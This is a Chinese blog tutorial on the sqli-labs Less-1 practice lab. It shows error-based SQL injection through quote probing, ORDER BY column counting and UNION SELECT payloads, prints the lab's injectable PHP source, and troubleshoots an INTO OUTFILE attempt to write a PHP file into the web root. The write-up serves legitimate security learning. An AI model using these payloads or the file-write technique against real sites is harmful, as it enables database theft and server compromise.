sqli-labs之Less-1
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于 涂寐’s Blogs:https://0xtlu.github.io/article/16ddc750.html
0x00 Error Based- String
根据提示写入/?id=1
,还是直接给它写/?id=1'
明显可以看出,由于多了一个'
,导致 SQL 语句后面的LIMIT 0,1'
无法执行造成语法错误
由此,完全可以判定为字符型注入,且其数据库为MySQL
0x01 ORDER BY判定
利用 SQL 中的注释符将LIMIT 0,1'
注释,用--+
或%23
可以成功注释
写入/?id=1%27%20ORDER%20BY%204%23
,推测有3个字段
注:
“–”与注释内容间空格隔开才会生效
“–+”在语句运行时”+”将变成空格,间隔开后面的字符使注释生效
mysql数据库中可使用”#”进行注释,有无空格皆可,可转义为%23
避免与URL本身的锚点冲突
1 | # 拼接 |
可以看到,拼接/?id=1' UNION SELECT 1,2,3%23
时,UNION后面语句压根没有执行,也可以说没有位置给它再显示出来了。
修改为/?id=-1' UNION SELECT 1,2,3%23
,使UNION前面语句错误,让位给后面语句显示
根据结果,字段1设置了默认值Dhakkan
,故只可在后面两个字段构造语句来显示待获取值
1 | # 语句解析访问链接:https://0xtlu.github.io/article/39c9e418.html |
0x03 SQLMap使用
1 | # -v 详细的等级(0-6) |
0x04 源码分析
isset()
函数检测变量$_GET['id']
是否已声明并且其值不为 null- 赋予变量
$id
后,将之追加到result.txt
文件中,并直接拼入 SQL 语法中 mysql_query()
函数发送一条拼接好的 MySQL 查询语句mysql_fetch_array()
函数从结果集中取得一行作为数字数组或关联数组;不返回 false 则在网页中打印 username 和 password,反之,mysql_error()
函数将返回上一个 MySQL 操作产生的文本错误信息1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
0x05 疑难解答
- URL 中拼入
/?id=-1' union select 1,"111",2 into outfile '/var/www/html/11.php'%23
时,出现报错:Can't create/write to file '/var/www/html/11.php' (Errcode: 13)
- 查看允许导入导出的路径:
show global variables like '%secure_file_priv%';
为空,未对 mysqld 的导入|导出做限制 - 查看数据文件存放位置:
show variables like 'datadir';
,限定于/var/lib/mysql/
- 按我的理解,这可以任意读写文件的,但就是这写,不行呀。通过比对发现,仅有其他用户的权限提供了写权限,方能写入文件,如 /tmp的权限为
drwxrwxrwt
。 - 这我是其它用户呀!之前查询当前连接mysql的用户是
root@localhost
,而不是直接连接系统的root - 有点懂了,mysql账户来连接shell终端,
cat /etc/passwd
看下mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
,第3和4个参数分别为用户id和组id,都大于100,则为程序用户,拥有一些低权限。 - 查看mysql用户所在组及其组成员:
groups mysql
,得到mysql : mysql
;而/var/www/html
的属主为root;两相对比,可知mysql用户相对root而言必然是其他用户 - 注:UID的值为0时,表示系统管理员;(1-99)为系统预设账号;(100-499)保留给一些服务使用;(500-65535)给一般使用者使用
- 本文标题:sqli-labs之Less-1
- 本文作者:涂寐
- 创建时间:2022-02-28 22:09:24
- 本文链接:article/16ddc750.html
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
评论